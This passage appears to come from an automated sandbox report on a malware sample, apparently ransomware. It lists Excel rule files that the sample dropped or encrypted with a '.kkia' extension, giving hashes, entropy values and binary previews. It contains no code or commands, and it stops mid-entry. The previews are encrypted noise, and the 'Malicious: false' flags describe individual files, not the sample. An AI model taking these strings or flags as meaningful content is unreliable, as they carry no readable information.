Preview:	<?xml.,$..>5..'f...!...jq.F..\|.S..TU...FA....W....<)..i.hq.:.o..c K0".Y..\|..1y..c......t8.K...)...B.#.tdl.M.9........GM...K..\...<.{m;....J...3..^K.~..k....~....z3Wl}P.@..c.=.?..!.y..C....#....[%..j.yx.../+..2....z-.!.'..F.....FR..@............i-..\..x.5Q..;P.7..9.~o.L8."o...Q...s{9..y.$y..g.+.......R..9....z...".....74;}6TX...^........0.c."...O+......\y......b.v...&....l.`s.7..J.Q.H..;.....}MJ.Y....4....0.~h.f.Jo..=..v.?^.k.I.\|a:h..g..Z7.p..`...Js.D@'...>..^....[._a.a...-.xr...7.8.:...f.[.h..... .`....$.o.........B...l.a.-Q.e..s...\....-0...,.q8....C..$a.O].p....x%....$.RF.T..J,C3.#....:.J<..p...z.9..TF.d..,.).&H....{L...+,is.....^.YN.m...j..AOn;../U.4...*/.........a..6Oe.....(...DS+.$........o..K..........a.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100127v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.685418464278606
Encrypted:	false
SSDEEP:	24:bKglgwzoQ0jWrKZ0M7idgiHh+spZ6JaArc+jh9PQ0xIkbD:NlHzEjWri0M2E1JaWPhxFD
MD5:	8A9849AA942026691894B5A372CD2F60
SHA1:	0787B6A16B73166FAFEE1BD8113F125F08CB4EA4
SHA-256:	CDA202A9AA8C63FF26C18AEEEBF32AFF0E826CC379F6FDD38E2388FE41C2078C
SHA-512:	B49CE08ADE0C2A11497C00E67888AD29153444DA9EADEBDDF2D4C8D20F3E4CF23E9F89FE6C468996F61AA4BE9D60C8D719E5753E50B79A34C9C0A11088A73A07
Malicious:	false
Preview:	<?xml..T;.?.s9..%ME.}... :....b....O)3.5j,./.F"k..A.d...].Q..L.4..be8.....j...#5dx....m...pr...cb<....M..'"d..\V.L.6..Eh{.G.F.Y.@.....Zx..@.A.35..N./....L.C.xj.....G..l8...3.8......T.1..+wD)..>..dS...E,~i..V.......Efx/.<.Wk.....S>..1$.=..i..?.d.. .".S........@.4..4.......:8eG.~\o..57..}. 36la...`....o..p....(.X..#=O.9_8jJ...wb..!.\.$.E..s+.. @..l.":...d...bb..U.QM.u<{.sK.B..7..]....W.gW4...#..j.~...dw.g..=.;..2G..c.c@...^.4..t`...o...MCLj...>S7....=....&q...05d.G.y.9&......u....`V[.........&...pX>/.U .....IGS..i..`>....A>..z..T..x.X..<...2.a.XO..;..$.S.\|.X.^-.Eh-.Q..u...:......T9..1.=1...?.......a.3....S.U+...a....PK.,.1..<....w.y.[%.]LX]s1......9...M.D.hob:b.1...M.D.N.i....:. .,~...$N..1.d.#...-.....H...`.K<3xdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100128v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.654748799591647
Encrypted:	false
SSDEEP:	12:s5r8f5EvZyjkaF/+jeUqEWlGtivG7tBOtUmLg82wFxBkM/HOKrz0tMjZ2dB2PrgX:wr8hERyjLUq1lGEvGHOtUmg89+ouKf0T
MD5:	D82CC24985CAB6D9F4C572929D49C09B
SHA1:	EDA270796EEDD7E35F07F280B125CAA06528A20F
SHA-256:	E55FE228FDD7778CF13053FC7EDA8941150FC8032BD0F9F95FB075FAD0B3C518
SHA-512:	2E6A6D997B3FC596584333EE7EC1F3F45DC6AA222364694A82762813D03347448C172D1D7A893D0AAADAA3DB626E1348CFDA48C7DAE81D2578399AD65842A44A
Malicious:	false
Preview:	<?xml..E...qB...O....;.E{.....r..].$>.h.O.j.]..?q.:D...MG...{U.I..".ff..."..5... ....E....p...P.B -.aVUh....{.S.,..7..[3.....,.:.!...]..sT...[..m.D....x.].1....E....U.......!.......~.g..Wr.3..._ @w.(i....y....67......m=.y....l?.E.2.;q...n..kI...?O....(&.}y.{..M..Y...\|AY. $.%..u..(.q.m...D....A....P.P....8+pW!..w..s...\|jE..c..J....D.2.;./n..T?....\.e.<.!.]\V...'X`.=...%....S..p..Q.6../.....!..Nhw...W)...^C....;.....r... c\C.8AW.......m~x.$.....L(\j.,.m.:.Us!........P.[.r..<x..l.#..r .o..S.ryT..XS."... ...b.u.YP.h.\.l.~...Op...OE..3.....;G{...v...*.tc..Y.L..:^.O.p3..b0.N.......d.%#...pE ..7...AZ..X._..q.....d.S{3.._.ceTuStxg2.;,..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100129v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.670488696570035
Encrypted:	false
SSDEEP:	12:WnshSTF5yCVShivH7UE7U7X2MsDF6/1mdGomFRD5uJqB+KWTD9Lz0T8qxPrgciik:WszGShivH7UcU7mvDFMOt0Rs0TWP90PW
MD5:	B2BC1E773B1C01D220E7EAC1AB1C45E7
SHA1:	8BC5FE5C05088F1E73137A2CFDC2D627ABED37BE
SHA-256:	011C25D7FE8C0E65C55B6911071422711623B0C4341FDE8FAC3C0E9B7592B019
SHA-512:	7A1CB245D798DDE281C88FC7E8A3757736D95122F0954FE5B662F554111E9416BB1FD210D8B2E13B95409DB07BBB7477D52CA51040C45BC6D9CDCE35EB1D14A8
Malicious:	false
Preview:	<?xml{OS..4.(.....s.8...G.....a._....n..g.3..w.gc.^&.7`.".P...'x...8...!J7.....Q.N.qv...@Y.-Q.V..s...Y....#..$.H..6......egl1...G.#}&.......~.%....x..2..[/.....?."]........:.>.O..&>...%...3....t-.....x......"!O.....be...^.`oj.5.f+&...Y3.O\q8.....e........@S_&i..b....k..&..i..Z....8.w.nb..37q}=..7..O..X...r.g....d...#X.R5X..>a.CO.&1.u.JCWL.2...b..y.u.J..7.......O.nyQ."..^Tf&..y-.....T...c....[.. W!.ju....h...U.+4.(MB..v..Wz./.........yE...>.7........p.......f2c.$....K....z..........z+....]dBh....drR3`..s.Hfa.L8\|.(..L...\.$4.C...&w.VY.......&...!..f..>..X.o........{.'Lu.....&H.1.l...W0g..t......{{..c.....<...U...)-r..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100130v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.736505463161254
Encrypted:	false
SSDEEP:	12:Z5++eYPupZCUTn9XipYTHyMd6+4ES1TxnEJfZ44cvEsm5FHQ5wzPrgcii9a:ZAkwZCUTn9katA+wTe3LnHsQkbD
MD5:	9C8676FE10FB1EE30A74D15D8B48ACBD
SHA1:	7DBB58DFE1D8E0DE15324196306F688803D6ACD0
SHA-256:	1F2FB02F0B765511350EF8240A8E230D3B7BE25F383D5E51724BE842993A6A80
SHA-512:	7DC8A2E076860106AC53856223277037F21097972911F57B492BE1D93EA31AE78B00FD865655C59115F1B2F82EC8563E1C20EBE4E36DF5C7B6B15C324887E4E6
Malicious:	false
Preview:	<?xml...VUe..._..>~..K,....$..dY.c.........4B..`P.:p.i.s>...P....r-._:$....1..f....._.J...1.li...J.(..n.p...b>.FU...l..^)=...o...}o.3....[.IG..9.Bk".'.....~v....[.......Y...=l"V?.:.D...l...?..I.g..y5..AP.h.1&...J.?.Q..\m=.._U.A.x..n.1.}_..I.D..V.@e7S!J.k9...G}.FI.M7...kNr....C...~...S..w...@#.).....ex.......N.@..\|_/)....a.>X...LMM.rb%.Q3#.....I.J....n>_.J...q=}...cic........$..@~~c..TwS..+.W..U....A{.7.V.9....~>......c.%.!. ...'b...].xq........m.qw{...uM.m.V.'.......Bh.M.....x.r.ka..2] ..W$.y.1...x.....')De.=.wlp...[..._..}.....`...8.g.[...}.....FH&....G....s.......f......_>cZ.7. ..%...=.,....F..tFm;`.2..'....d$S.1.0.G....Pz...5.........U...x.....>.0..}t..);.J.4....1...F.:"O{.V:...?Ly..9.O.9dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100131v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.698064161450261
Encrypted:	false
SSDEEP:	12:EEkJ6dltLWR0Dl/xpdPWiLuhn+2f1feiBpjptObTlxondqgj+ogeWFHl+Prgciik:EEk4WGl3wiKhVtpfjufiEgj9WFHl4kbD
MD5:	575EBA785AAD94008C5EEC840EE26E0C
SHA1:	DEFF970CDBB30BB72FC57AEADC77F996AA109FE9
SHA-256:	3E0AB9D2962BA9713749229FB017E8E75229F02656E5488776BA2A2BF21C2818
SHA-512:	58A1DD1D33845F7787192BAAA7406903B74A8E6341D03BAC8D891F992E026A3ABFEE7081EC5593AC79688A14BBA6E7A536ABB487F8A5F79A78991DB203E1DF14
Malicious:	false
Preview:	<?xml."...(.}....Q^$&.$.Z.C.O.... .d..hV.b.ZA..{.4l...:E..@r.$.ep...d..c....;.a.6.q.O..m..Z.y...'...7i..8.....L.H.-7.D....a5..~5aL.....0.I..s.....#..t6z(_.A..K`p&_.m."N..d.....g...5M...^n....A.>r...M.n.[..=..t..?......d....x..b\|.\|..lKv.ETz....7.....H.Z.S.....z+. ..4....TAV.../!f...fI.5.......H..s......[5......>O..1.obYZ...WB_...CEj.~4.W7u..gPZ.{]:0.....&C{.....2..PR..t.E8.........P....XP....vQO....kS.p!..Ik.\6..~....@.z..fC......?...f...r.n1.3....D.O.w.d..>.=(/#.o.I....hm..wp...]/..'QC[....;..-...3.g..Zz..#.-.....?..N....o...N:..D.-.q.1{.$nu...X...P+...29.C..H.4m.(.#\|p.o.....$.....0..o+:P....0f.>5.x.3..H.JaS..Z...B..kudYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100132v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.698134923149712
Encrypted:	false
SSDEEP:	12:NIv/2PIweoP45OcMZdBSVCAJqgvIpqMZlve4wld6jNEhvEGk7g6H5kFPrgcii9a:cBoP4dnkAVdSe4wL6jNCK7Pi5kbD
MD5:	3B9DDCB1667228028666E282750AA0D0
SHA1:	AD40BEE9B9C5AE990B2E49ECDD218CDE6A3C7EEE
SHA-256:	9A93CE725B4D1D73E4A594AB8C70654FC0CC775FE714B8F1B852EA9855072E9D
SHA-512:	FA494655CC85562926CF39D6E41128DBF5F2813A1F161422DE272E061AFD5B82E4662BBAA22B031CD3874A64DD2B3F5B33C139FE2B194CEBA5EDF78FBD3874F1
Malicious:	false
Preview:	<?xml3...S.k....qxD......5.Nv.<wW..l.r.h.9.Y.:.{e(..dTiqt.....&.a.B.8.....%bU...+...n....x@..x..o..K%...C..6 .t.l.ET...$....._..d....6fg.L...e<.$x..j.../.'..5..{.id.;..Y....bJ.O+...g.>...!.....Q..R...-$c.;'.J9.xO....C.B...5..L#k..5%$`JZ".bMyIO.f#....=..C:H._c.".r.f..1PF.u.8........Y.Wf..b.!8.n}X.....s....f.....?.1..j7_<.v.l.Mj<H.& .....a..J.n`..0....-......s=$b.C...@.?..f.S....\|QB....`..p..19....B.W..Q.k=i.wH..u..y.x........f.........a3....vd.X"........-E.7.k.LK.Fi.9e....j.H..J.3......bj?.<O/w.z.a........\.^..,...q...;...l.b....iM../...2(4....1Xs...8.....C.7/.1...}..A.k.=.......2@...Z.%x6>.L8"..\.w...&.Xw.y.7pc$..)..(....YV.....5..2#....9S.>...#...:..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100133v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	751
Entropy (8bit):	7.64994323115234
Encrypted:	false
SSDEEP:	12:vpZ7bp4MK3z7HCmd+lYBhTbwcIjRKd42OBhff371IvgN1cqug/Ronv7fQFTvGuPW:vpFRIz7i+NbNIjR2OvJsI1Ff5gv7fY9W
MD5:	140D6273F98743FBBB3A7FE84B3E30CF
SHA1:	D93D25300150E5810B8BC4650C65104790DCC15C
SHA-256:	8A22B14A7364817680715F3C93E18D193C1D588B4BB4E6D13623E5785E188C1F
SHA-512:	B03DF9D45ADD2F37475A0D79E1A90E70640676E9C8473A374568D33485B81876E965A9C78B09804A3625603DFD4160D8E6E4629B0BAE2FA9465F33EF663F4F04
Malicious:	false
Preview:	<?xml._.8B.d.N.e.F..7&md.~..}.qW.I,....Y...].s....1X..N"R..w........R.QC"._..d.SD9....fj.<......F..s$.6......1...q.....@R.E.f..I...q..........e...N..D...T..!w.......h..]..;..t...0q.j...Q.C.uq+....X...S..$....p..3.D.Q4...D}.lQ..Q.B....Y....:".n..[u....7...l)5...E.U.r-gB......{ tuv.C.H.P.....%...2..xiL..Q#...\|....yS.h.?....'.n.......T..i...7TEjNq..AE>.....-.`d\|..W."R.J."..8....q..k0.x.7?Z#..."..PH.N..........h.C.>"g.Q.v..Vt6...x..C.....@..V\|.......4....<.I....P.LC.c..ho......&....>...!.j.J.h..1..\|..T...+..I..M{T,.$k@.0A.... %*......e...lC.J.G.E<...y.c.m.0.d.^.....r\|.RO u x.K?1{j...P.@...<.l......Q...Ng8.:..jg.....&......l........\RdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.729908670147634
Encrypted:	false
SSDEEP:	12:sDOeAnl8KeNtcJjxhzpL8hPlqPwJKDv8+1lCQ7Kc12S8a/NhiaJOCvbba+AlPrgX:UQl8KeN6J3paawcrh1us/OaJpvbG/ZkX
MD5:	E936552B8CF254695950927DB85A8184
SHA1:	81E83E9E5304A2598CC430BC98F6B4833F1FDB19
SHA-256:	29D7328A846DDCD1191E1CC384DC4A3D01494705A55D04DD0DC542FCBB308E8A
SHA-512:	B267EA6D36551FD3D03A5AF352DE620EA177A5590BE577ACC5F6F1227C15B0D3D60FE9055689C50F3634C71CB6894193A30A8F21EDA90AE8E494449DD0CC8750
Malicious:	false
Preview:	<?xml..$...m$......<.y......P@r...G.k..#u!..]?.+..U.....8...=./yr...j!..X..96$E..2>.e.w.S6$.........5(.......B..<.....<.,%..t^...}=u.O.B..kL..Ja6ql.H...R$$....].A>..2..Gs.C.u...0.........4...O.....j....>.......t>.lvX.5F..c^p..v'4.G...2.R.LS.....,._..`w.<...C.8y$....o....Ch.xn..Op..(1....%.D....mR..`W....._...!.%.;.....h.....}...4(b.[....Ar.Z....9s...#.*.g..Z.c.=I.Z".-}...e.........".z..[.....rU.&+V.:..c.....b.w...........:...]Mo....b....W....P??....'.x..`E.k~m,./]0..<V.......U..6)@..}Gn[...2..C....N.P:...v...j........h...\|......%..p.d.xOE.g+..\|.....Y..^%.!........."K_.........Db..j......\|k.....\|...I.h.....K...hN...Az.w......W...q\|dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.682657186572109
Encrypted:	false
SSDEEP:	12:PGLi08jeIIt0wYex8rGsAt55Yusy6d+oHh8n532JoByFZ7E3E8ReW4Wej8DvnQ46:Pw5pIA0wYG8KhT5YusNHhuUfIE8RlOjv
MD5:	D349FBA0864F537F3E822EB72F3D572A
SHA1:	8E2E77D9FE6C66C1B9F8A6363EB6185484E02DEA
SHA-256:	639D0277C6C9F042FD5CE6C3CEDACC079B2812AAA94F43645497A0A88E8323B7
SHA-512:	EFBD0BABB895A0BDF5A851BB2DFC63C370CC37317F251A64BE5813821CC5EB88F228324C0AE7A28A8E27EC198E62DECF073F0BA0204F85624193BEAEF34424A7
Malicious:	false
Preview:	<?xml..G..cB.....[K.9.-..K.......v...i.J++..\..ZxP..L..;.h`(+.l"p....)w.e..Z.f.......(....O..FZ..........0NB..D.h.^.w..I\|...Q...9g@...e..d...bwQF..b..c\|.I.v...jJ....i.............X0..@.....E..q.{>NS.n.]2...g..t.0..j...-4.u4.....eK..K..K..Z........)kB>.AR[h...Q..\.#.?.{.">x.3....Y.^$.T4.u..F...O.)2......K.MI.$A..=.v..\;..3..-.q..".\{g........I.<.<D.*..2.o...^d...ag..z9{.q.....6snBY.}1p._......N.......{..M.W.A+`R.w<d....d"v.>..@Q<.....oO....z.!...\|0..:.Vy.u...wa...}.]f....fr.h..a..(qv.w.rR7b.h....J....+o~.U..Y...e&..A..M.(6...r.....j....D-.N...>h.IE...N.+.r4C.....x...L.N....d.C.Jm`.K.D}X..$.....I.jH...@..clW..@....`..`!....gi.1.G....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.752380704570023
Encrypted:	false
SSDEEP:	24:K5MGXOqiRzzsQzBAr6PsrSWULqSRTn+5bqKg+6Zl5JMjkbD:KKzhPbLqSRi8h+clMyD
MD5:	FDD40F0A09DAD9ABBCB7FB4EA617ABE3
SHA1:	9F2758F6A7A2E4A561991E9238C8F3C51B743C3F
SHA-256:	57F201C8F7D44A300B8315BE6134F1B3A12228AEA0864D3CC5018F9FB0636B8A
SHA-512:	5C769EE1BBE80A619CA96F283A7515BC4FCD4CB375E7A4FD4F408BCCFBCCC7F86E9102C45AF004F00E31B59B87F3CBEE4C70BC498D45B34D046247A852E70403
Malicious:	false
Preview:	<?xml..-...].G.\.....$....)=..S........c.}...h..&.Zd..&.1Z.....LEC\|.5c.;.]Lq}...a..)6....?.$"...=.....I..L.m.{ay'.....-..-=.k.io.<f.{......?..=\...{...Hm.1^.].`.X..._...f..>.{....nND......8.7/.L6.....-..2\|bH7...r."...#.q........1d.....t.{@.......bVf.....(.4...4\..x.u...KU.V..9.2.B..)...a...F.~.0...f..1.^VD.n......GWR....k\....IS.1.C.A.S...8S.qz.F..^N M!.`]c................_......{.-%..L.M+9gZ`6>.K.D...#.Ny7c...........R.\|..v?..A.q.T.R.`<.i..f......Y.G..!..t#..`..%..=.U.G.. `....-.&..w.7]....[.m...^.+.v.Y..R.2.&.............].n.ql/.9...b.78...!..6S.P...h......<h0g..v~..7U..fs.....}Vi......@..m...E..$O....&.. ..........l..cI.t../",...F.....85....\=.. .x.'.'.+3U`i.t.ae.kf.^g..5......O...{%.n.........e...u...j.....%.N....&.....B.K...........8Qc..)....7.K...k..=....A.=fs(.....9.J......l..\|0.".rdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.867952012481757
Encrypted:	false
SSDEEP:	24:ri1tEvovtSZkMcayDROXy1gWC85CyKSaJIeYRSrg8wlXdssSALBPkbD:9vaNMALCKKSPe2v8wl0AoD
MD5:	DF2F71E6B162DF69E79B3C909A10413D
SHA1:	CE93C8B198BAFD65FBCC0AF3D8751AA266B3268A
SHA-256:	D1BEE6B5C1FC70C098C6C2071D255D625E13E15ACDF81CE20AD197F7F33118D7
SHA-512:	03F80C06C70EAA00D01B403B3D502E3B5F8B6536AD237FAB1F233C73D0A89E74DD6EF4CB216ED14E68C158A05629CD06DBE4788AA7B4B977A2245D2775885B60
Malicious:	false
Preview:	<?xml......z...#..8...a...p]</..[.'G..&..UM...^;..sN..`..w...).....II.v.,4#..z.........Wn!X..n......>..<p..r.x..0...T."........\.....ie_..chMt"j.. .. .A..o!.3E+....9..Mi.......F...!.+..1... &..ZY...f...g.1.....F....?..8H..E...6.X.I...Z....Z..c,5.0.h..Q..db?@z.zXr-...C..<......g\|hl...\|+UV....6#..z..q?..../\.[P."...T.~.....4r..6....9...]....L.(,{.".....d.g..~L..`^.._+?..&=h.r...:..%..'......u..sP.jN..E_/...#@#..m..9................i(<......So.D.>OC.{z.=K..=...2j........k.1)....{.R.7..Q0.#..3R.n.6.N.F.I....h.M.c..W.....b...$...6\G6M..#...Lyf.\|.....\|"6.e...F..M..T..Snl.e.e\.5.`..w..j.-.E.."...Jn.....Yog..k..`.b.rP......!j.S.BV..h..Sr.i.......r....l6P...x).g.i.zI.k(H.(.K`.....@eyI.Z}.../!...lf..6.....7k..:\6....m.U.2..........o.!.c.S6.>......{....4C...3.^.l.1UvYV.....9?....cP...?!o<.,..1R..5wv.4Ch...6..a..............H......1... ......ix.X..].....kg..K3..r..?s..A....n.)!}..8(.F$...Vf"_A...1...@+"C.....^.pZN....4j..T.m..0.{n..\.T...td..8]<./.s.Z.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.937660250122845
Encrypted:	false
SSDEEP:	48:L4twmgbm0ng4ABxYnIQGQcQEHmijNjPihffnHBuhtDjb72A0mmrCKcu7z8nXq3D:Lgwkp5chGQz7ihEfvBGtnbSfrCKp7z8E
MD5:	8B7DF2CD232DB866D6CEC19069D83FE6
SHA1:	10CE2A419D18DA8D1E205B211346ECB83BBDEE3B
SHA-256:	3836BB503C3C4A7A6D77621C28536A20134F302CA2195CCB08C4377FE4158D8B
SHA-512:	CC9F6B2B2A5504A899693ED6EDA19DA3945FDEE3AEDAE37D4F01D32C465F569B20A755DC61DFDE98C3CE933B73BBCFCEF89A4FA6CFCC37B0ACF55A8066011B8E
Malicious:	false
Preview:	<?xml.>.:...r.W...0T..2._..).t./Z!.~D.q.......}M.....^..I..^.O..............Ph.K[....4.[......\|.KY.ir\;.......&...]q...xlk37.;.T.<......n,..33..7Lqz......'.....7.p.L.b.........0.,.....~,.SL~\x6..bg.P.....P.._..G....q8....<...-.Jw-..'..u.AgF...f.....c>../4.D../..../... XA..K.5....pH..o.......T..vR.,.....j...t;3..cIF...c.c..#.~.j.-.~.F..FF...5.q@\c.....X.;......W]...DL......{~...e'.$W..R`k..Y...M...5..%3.&.z....yoz.cF..F#:].P..!.\|3%.../(P....?d..g.}.tE......h.......w...O_c.P.I.+."j."a.#...A..g..4@.0./.x.\|w}..%.G..%....].6.D.D.ks<..m.inl. .e..u.&Q(.8zcK.$ET.L..m..X..o..s....0Y.3:......I.k..<..g.. c.gqH"....1..<.:n+\|..e..E...:.O#i~..Z..3.T.....W.R....V.W.e<.f.F.b..o...$.k.=....~.M.t.'_\|.....4\|W..r...U}....zIK...l....Dw.i.C.....`J....QJVx .....3P.....1....'.9......KA.H....3 9._..$.....L.W.K...j......q.R..A-.B...C...+.j..pN.$.l.!.4...%...g..L.^T.T8.(...i...lJv.:BLA......S..W......n1..(h....9Z.*..S.GVBb.....;-...W.w..`xwp..<4,....9.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.895200560847499
Encrypted:	false
SSDEEP:	48:O+l8EYbrXi/TFb7U/i11JymdWwvUItvShmCsfD:O+lybQvr11JJaIJaG
MD5:	D70DE49662F226763B11D65305621174
SHA1:	C49693EDA30C21E8B1597186E8E4F3A70D060A21
SHA-256:	2A171A0075E730AFC2DC51C7D4C00571D324D329582FC7F15D99BC01477B2BE3
SHA-512:	5B6FFE5ADB491CBECEC0B6B86DBED16215A5EDF85509A40B638DD92734C5E178DF6F0029A373827A1331D253BB7E1F284D913F27B67C9A0D1E68710EC4AB8EF5
Malicious:	false
Preview:	<?xml...g....t..14.^..N..c....-...h..3...&.Dl}...\vn.Me.........x....).hl.M. VD.S.['b#P".4.I.)..G....~..\|..#..;.[......@<..x..}.R..tM..m.....{.....'.W.D+!.].V.A..3.j"#.g..BP.-+..I..:Uc.Va.]........b`.[.....YX.....3.8.t.'...A.{I.{-...!X....a..>..0bY.....X..0g..h.U.,x...W;...]..a.z^..H..V}.M..&-...?:...3...$..}\|..\C..o....F.C7..\..K.R.q.rI.....Fa...cqPUS..I>z..t.!.5.La}...].....:...-E@....v.l5m.....<c....}.\Q.Ix81.........+.X]..).....".b\0f.....T.3..$l....Q.....5..r......$_}....=U.r....`..t.n../<.v..Y..C.U...~9.. .A....9.H...2^........3W.....+....?.f.x.57&d......2.P].Tz...../...FZ.......@./c.iP.S...S..e.F.....i.......'...D.+.....q.z....J<H.J..y...U...%%4.q..J.......{@......I...#.&h]u.U.B0...._.;...8B{......r.@.....n?....T.Z.....N..ej&B..P.}6c....a.p.g..n.].!2.....GB...F.K....}P..\|..S....OoL.1.p..v..}.*.....p.s....o......c.%....\5.=p=;..[().h....67...q[.$k.Oj.a.(..K...Y].P{..X"...A........a.S.BD.u..O....r.A..}c>u..flu....w-.2#/.cC.....h..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.9040595113481125
Encrypted:	false
SSDEEP:	48:LWZzQwETNMLFHjSQH65LY5VjbIoDieOHJkVpC44A0/b/BFeTvsmD:MzrJHuVYbu3Jkm4D07BFeLs+
MD5:	B8B7E55E6F55E00A22808EF728A488AE
SHA1:	C86F36D83C4110E7D7BECE60C8516E5A426101ED
SHA-256:	461931F4174195173E41813FC8256029DAA651937CF5F5D5C4A4624D999ACFFA
SHA-512:	EA07158D69BC551274BB26DB4C1C17EECBC75A6087CEA7580F681906262D9BD0C706841A8C72092871A280B12670618D76D5D45024B444D47C5796BD40AA366E
Malicious:	false
Preview:	<?xml6AV.12.)..a.>....@8.yO.BK6..Q.d'1.(]....^....g.......N...O..P.....cG.N/...F...Z...f..]K.fh...F..s...l.U....\..7.k.P..&^.@.,.r`.{.......a..%.u.=.....L../.iFy../...>...^E..dm.f.#k...4>....wP..I....!.#.l.XLX.)wS-.]..J.o."..l.\1....iiZZ.=.q..`.....N.&.~..U^..p@Z......_.V.ln\..=..xr.L.....t2T.p.uu 